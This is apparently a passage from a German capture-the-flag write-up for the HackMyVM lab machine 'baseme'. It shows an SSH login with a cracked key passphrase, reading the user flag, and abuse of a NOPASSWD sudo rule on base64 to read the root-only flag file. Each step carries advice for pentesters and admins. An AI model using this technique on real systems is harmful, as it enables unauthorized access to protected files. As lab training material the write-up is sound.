# chmod 600 id
                     

Analyse: Erneuter SSH-Loginversuch als `lucas` mit dem Schlüssel (`-i id`). Dieses Mal wird die von `john` gefundene Passphrase (`iloveyou`) auf die Aufforderung hin eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der Login mit dem Schlüssel und der korrekten Passphrase gelingt. Der Angreifer hat nun eine Shell als Benutzer `lucas` auf dem Zielsystem `baseme`.

Empfehlung (Pentester): Beginne mit der Enumeration als `lucas`. Suche nach der User-Flag und prüfe die `sudo`-Berechtigungen.
Empfehlung (Admin): Sichere SSH-Zugänge durch starke Passwörter/Keys/Passphrasen und Überwachung.

┌──(root㉿cyber)-[] └─# ssh lucas@base.hmv -i id
Enter passphrase for key 'id': iloveyou
Linux baseme 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc//copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 28 12:51:36 2020 from 192.168.1.58
lucas@baseme:~$
                     

Privilege Escalation

Analyse: Als Benutzer `lucas` wird das Home-Verzeichnis aufgelistet (`ls`) und der Inhalt der Datei `user.txt` angezeigt (`cat user.txt`).

Bewertung: Die User-Flag wird gefunden. Sie ist in ASCII-Art eingebettet und lautet `HMV8nnJAJAJA`.

Empfehlung (Pentester): User-Flag notiert. Überprüfe nun die `sudo`-Berechtigungen mit `sudo -l`.
Empfehlung (Admin): Keine Aktion bezüglich der Flag.

lucas@baseme:~$ ls
user.txt
lucas@baseme:~$ cat user.txt


                                   .
                                           .
                                              ,
                                                 ,
                         ,                         ,
                      .,                              ,
                    /

                 ,                                        ,
               /.                                            ..

             ,                                               ,

                                                          .
                                                       .
                     ,
                        ,                          ,

                             ,                .
                                .
                                        ,,
                                      ,

HMV8nnJAJAJA
                     

Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `lucas` zu prüfen.

Bewertung: !!Privilege Escalation Vektor gefunden!!** Der Benutzer `lucas` darf den Befehl `/usr/bin/base64` als jeder Benutzer (`ALL`) ohne Passwortabfrage (`NOPASSWD:`) ausführen. Dies ist eine schwerwiegende Fehlkonfiguration, da `base64` zum Lesen beliebiger Dateien missbraucht werden kann, indem deren Base64-kodierter Inhalt ausgegeben wird.

Empfehlung (Pentester): Nutze diese Berechtigung, um die Root-Flag zu lesen. Führe `/usr/bin/base64` mit `sudo` auf `/root/root.txt` aus. Da die Ausgabe Base64-kodiert ist, leite sie direkt an den lokalen `base64 -d` Befehl weiter, um den Inhalt im Klartext zu sehen: `sudo /usr/bin/base64 /root/root.txt | base64 -d`.
Empfehlung (Admin):**DRINGEND:** Entferne diese unsichere `sudo`-Regel. Gewähre niemals `sudo`-Rechte (insbesondere `NOPASSWD`) für Befehle, die zum Auslesen von Dateien oder zur Ausführung von Code missbraucht werden können (z.B. `cat`, `less`, `more`, `head`, `tail`, `base64`, `cp`, `mv`, `find`, `awk`, `sed`, Editoren, Interpreter etc.).

lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
    (ALL) NOPASSWD: /usr/bin/base64
                     

Proof of Concept (Root Flag Reading)

Analyse: Dieser Befehl nutzt die gefundene `sudo`-Berechtigung aus, um die Root-Flag zu lesen. `sudo /usr/bin/base64 /root/root.txt` führt `base64` als Root aus und gibt den Base64-kodierten Inhalt der Root-Flag-Datei aus. Diese Ausgabe wird direkt (`|`) an den Befehl `base64 -d` weitergeleitet, der als normaler Benutzer `lucas` läuft und die kodierten Daten wieder in Klartext umwandelt.

Bewertung: !!Root-Flag erfolgreich gelesen!!** Der Befehl demonstriert erfolgreich die Ausnutzung der `sudo`-Fehlkonfiguration, um als Benutzer `lucas` den Inhalt einer Datei zu lesen, auf die nur Root Zugriff hat. Die Root-Flag, ebenfalls in ASCII-Art, lautet `HMVFKBS64`.

Empfehlung (Pentester): Beide Flags wurden gefunden, der Angriffspfad ist vollständig. Der Bericht kann abgeschlossen werden.
Empfehlung (Admin): Entferne die unsichere `sudo`-Regel für `base64` unverzüglich. Überprüfe alle anderen `sudo`-Regeln auf ähnliche Schwachstellen.

lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt | base64 -d


                                   .
                                           .
                                              ,
                                                 ,
                         ,                         ,
                      .,                              ,
                    /

                 ,                                        ,
               /.                                            ..

             ,                                               ,

                                                          .
                                                       .
                     ,
                        ,                          ,

                             ,                .
                                .
                                        ,,
                                      ,

HMVFKBS64
                     

Flags

sudo /usr/bin/base64 /root/root.txt | base64 -d
HMVFKBS64
cat user.txt
HMV8nnJAJAJA